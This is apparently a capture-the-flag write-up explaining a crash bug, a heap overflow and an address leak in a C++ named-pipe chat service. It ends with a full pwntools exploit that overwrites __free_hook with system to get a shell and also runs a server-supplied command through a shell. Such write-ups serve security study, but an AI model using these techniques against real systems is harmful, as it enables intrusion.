Author: @azatorium08 = @azaika (C++ trick idea + code review) + @moratorium08 (all the other parts)
This is a chat service written in C++. This program makes use of named pipes for the communications between client and host. Before connecting to the C++ app, there is mutual exclusion process to make sure that there is only one client and host respectively.
First, did you find this behavior?
$ ./host
what's your name? >a
connected...
The opponent is b
Menu
1. set data
2. send data
3. receive data
4. bye
> 1
type[int/str] >str
data >c
Menu
1. set data
2. send data
3. receive data
4. bye
> 1
type[int/str] >int
data >10000000000000000000000000000000000000000
invalid data
Menu
1. set data
2. send data
3. receive data
4. bye
> 2
transferring your message...
terminate called after throwing an instance of 'std::bad_variant_access'
what(): Unexpected index
Aborted (core dumped)
After you find this, check the directory env/connector
.
$ ls env/connector/
c2h h2c
Which means that the following Client's destructor was not called:
~Client(){
// remove named pipe
remove(H2C);
remove(C2H);
}
This is the key trick of this challenge. By using this bug, you can re-connect to the same chat connection as the one you used before. This means you can send an arbitrary buffer using the name buffer that the Chat service first asks. Then you can do heap overflow in the following part.
StringData(ifstream &ifs) {
ifs >> length;
char *b64_buf = (char *)malloc( 1 + (length+2)*2);
ifs >> b64_buf;
char *buf = (char *)malloc(length + 1);
Base64decode(buf, b64_buf);
buf[length] = 0;
str = buf;
free(b64_buf);
}
Also, check this part of the code:
void encode_packet(ofstream &ofs) {
ofs << T_STR << endl;
ofs << length << endl;
char *buf = (char *)malloc(1 + (length+2)*2);
Base64encode(buf, str, length);
ofs << buf << endl;
free(buf);
}
Base64encode(buf, str, length)
uses length specified by the peer as the buffer-size. So, you can encode the buffer more than you sent. This leads to heap/libc address leak.
Now you can pwn the server in any way you want.
This is the C++ part of this challenge. There are three things you have to know.
To trigger the crash, we have to make std::variant<IntData, StringData> Client::data
valueless.
Look at the implementation of class IntData
IntData (const IntData&) = default;
IntData& operator=(char *line) {
val = stoull(line);
free(line);
return *this;
}
We want to call this operator=
and raise an exception during the assignment below:
void set_int_data(char *line) {
IntData::validate(line);
data = line;
}
The assignment in this function is of the third case (Coverting Assignment) in the cppreference's page of std::variant::operator=. It can be seen in the page that data
may be valueless if std::variant held StringData
just before the assignment occurs (and it can be confirmed that data
is to be valueless in this situation [wandbox]).
So you simply have to set string data to the client (or server) first to make the std::variant hold StringData
and then set int data that exceeds the numeric limits of unsigned long long to raise an exception while set_int_data
calls IntData::operator=
. After that, std::variant<IntData, StringData> Client::data
is valueless.
Finally, select 2) send data
to call std::visit
on the valueless std::variant, which throws std::bad_variant_access exception and make the chat service crash.
from __future__ import division, print_function
import random
from pwn import *
import argparse
import time
import sys
context.log_level = 'error'
log = False
is_gaibu = True
if is_gaibu:
host = sys.argv[1]
port = int(sys.argv[2])
else:
host = "127.0.0.1"
port = 3001
r = remote(host, port)
r.recvuntil(b"as a client")
r.sendline(b"1")
if is_gaibu:
r.recvuntil(b"Submit the token generated by `")
cmd = r.recvuntil(b"`").strip(b"`")
print(cmd)
result = subprocess.check_output(cmd, shell=True)
hashc = result.replace(b"hashcash token: ", b"")
r.sendline(hashc)
r.recvuntil(b"room id is ")
ROOM_ID = r.recvline().strip(b"\n")
print(ROOM_ID)
r.close()
def wait_for_attach():
if not is_gaibu:
print('attach?')
raw_input()
def debug(x):
if not is_gaibu:
print(x)
def just_u64(x):
return u64(x.ljust(8, b'\x00'))
def host_(name, wait=True):
for i in range(30):
r = remote(host, port)
r.recvuntil(b"as a client")
r.sendline(b"2")
r.recvuntil(b"a room id")
r.sendline(ROOM_ID)
s = r.recvuntil(b"t")
s = r.recv()
#print(s)
if b'is a connection alive' not in s:
break
r.close()
time.sleep(1)
else:
raise Exception("??")
#print(r.recvuntil(b">"))
if type(name) == str:
name = name.encode("ascii")
r.sendline(name)
if wait:
r.recvuntil(b"connected")
return r
def client(name):
for i in range(30):
r = remote(host, port)
r.recvuntil(b"as a client")
r.sendline(b"3")
r.recvuntil(b"a room id")
r.sendline(ROOM_ID)
s = r.recvuntil(b"t")
s = r.recv()
debug(s)
if b'is a connection alive' not in s:
break
time.sleep(2)
else:
raise Exception("??")
#print(r.recvuntil(b">"))
if type(name) == str:
name = name.encode("ascii")
r.sendline(name)
return r
def set_data(r, ty, data, wait=True):
debug(r.recvuntil(b">"))
r.sendline(b"1")
r.recvuntil(b">")
r.sendline(ty)
r.recvuntil(b">")
if type(data) == str:
data = data.encode("ascii")
r.sendline(data)
if wait:
r.recvuntil(b"Menu")
def set_int(r, data, wait=True):
set_data(r, b"int", data, wait)
def set_str(r, data):
set_data(r, b"str", data)
def send_data(r, wait=False):
debug(r.recvuntil(b">"))
r.sendline(b"2")
if wait:
r.recvuntil(b"Menu")
def receive_data(r):
r.recvuntil(b">")
r.sendline(b"3")
return r.recvline()
def send_str(frm, to, data):
set_str(frm, data)
send_data(frm)
frm.recvuntil(b"Menu")
receive_data(to)
to.recvuntil(b"Menu")
BIGNUM = str(0x10000000000000000000)
print("starting...")
c = client("fuga")
h = host_("hoge", False)
wait_for_attach()
debug(c.recvline())
debug(h.recvline())
VICTIM_SIZE = 0x220
send_str(h, c, "A" * VICTIM_SIZE)
def kill_process(r):
set_str(r, "u" * 1)
set_int(r, BIGNUM)
send_data(r)
r.close()
kill_process(h)
def send_line(data):
print(f"sending {data}...")
h = host_(data)
send_data(c, wait=True)
kill_process(h)
send_line("2")
send_line(str(0x440))
import base64
print("sending A...")
h = host_(base64.b64encode(b"A"))
send_data(c, wait=True)
receive_data(c)
receive_data(h)
receive_data(h)
kill_process(h)
send_line("2")
send_line("10")
h = host_(base64.b64encode(b"2"))
send_data(c, wait=True)
time.sleep(1)
h.recvline()
s = h.recvline()
if b'The opponent is' not in s:
print(s)
raise("fail")
data = base64.b64decode(s.replace(b"The opponent is ", b"").strip(b"\n"))
libc_addr = u64(data[8:16]) - 0x1ebfe0
print(hex(libc_addr))
system = libc_addr + 0x55410
free_hook = libc_addr + 0x1eeb28
receive_data(c)
set_str(c, "A" * 80)
send_str(h, c, "A" * 1)
set_str(c, "A" * 160)
kill_process(h)
send_line("2")
send_line("88")
h = host_(base64.b64encode(b"A" * 0x70 + p64(free_hook)))
send_data(c, wait=True)
receive_data(c)
wait_for_attach()
send_str(h, c, p64(system))
kill_process(h)
set_str(c, "sh")
set_int(c, "1", wait=False)
c.sendline(b"cat flag-b0322d90bc8ae4ca79633200c81e20b7; echo UOUO")
s = c.recvuntil(b"UOUO")
c.interactive()
if b"TSGCTF" in s:
print(s)
sys.exit(0)
else:
sys.exit(1)